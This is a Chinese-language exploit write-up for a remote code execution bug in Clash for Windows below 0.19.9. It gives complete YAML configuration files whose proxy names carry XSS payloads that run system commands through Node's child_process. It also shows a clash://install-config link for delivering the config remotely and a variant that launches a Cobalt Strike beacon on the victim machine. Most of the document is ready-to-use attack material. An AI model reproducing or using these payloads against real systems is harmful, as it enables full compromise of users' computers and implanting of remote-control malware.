crash_for_windows_pkg远程代码执行漏洞

漏洞详情

crash_for_windows_pkg由 Electron 提供支持。如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码。

image-20220226224647047

受影响的冲突版本_for_windows_pkg

版本:< 0.19.9

平台:windows,mac

操作系统细节:Windows 10

验证

1.新建一个yaml配置文件,内容具体如下:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

2.打开clash,在Pprofiles中导入刚刚创建的配置文件

image-20220226225510800

3.在proxies中点击图片链接即可触发。

image-20220226225616304

image-20220226225742259

mac脚本

在mac中只是部分代码不同

代码如下:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:

  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`););`);>
    type: select
    proxies:

   - a<img/src="1"/onerror=eval(`require("child_process").exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");`);>

另一种利用方式

将恶意配置文件放到互联网上并用于clash://安装它,clash_for_windows_pkg 将自动下载并切换到它。

如:

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

上线CS

在CS上生成监听,主要设置端口时不要与上面代码中的端口出现重复,否则会报错。

image-20220226230703072

接着生成可执行文件

image-20220226230737219

将生成的beacon.exe文件放置在目标机C盘中,接着修改配置文件中的路径:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("c:\\becaon.exe");`);>

接着加载配置文件,最后点击proxies中点击图片链接。返回CS,可以看见已经成功上线CS。

image-20220226231223319